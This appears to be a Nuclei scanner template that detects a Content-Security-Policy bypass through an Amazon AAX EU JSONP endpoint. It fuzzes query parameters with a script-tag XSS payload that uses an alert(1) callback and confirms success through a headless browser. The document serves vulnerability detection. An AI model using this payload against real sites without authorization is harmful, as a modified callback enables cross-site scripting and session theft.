id: amazon-aax-eu-csp-bypass

info:
  name: Content-Security-Policy Bypass - Amazon AAX EU
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,amazon-aax-eu,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "amazon-adsystem.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: amazon_aax_eu_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://aax-eu.amazon.com/e/xsp/getAdj?callback=alert(1)-"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "amazon_aax_eu_csp_xss == true"
# digest: 490a004630440220111bedcfc4032427f91bce6008bdf6ad79f5d1d932f291d97327d0d95aeb5e57022053e146e9eb1555597d5078dda6425b31fb35363c1804639ae76fcb73117280f8:922c64590222798bb761d5b6d8e72950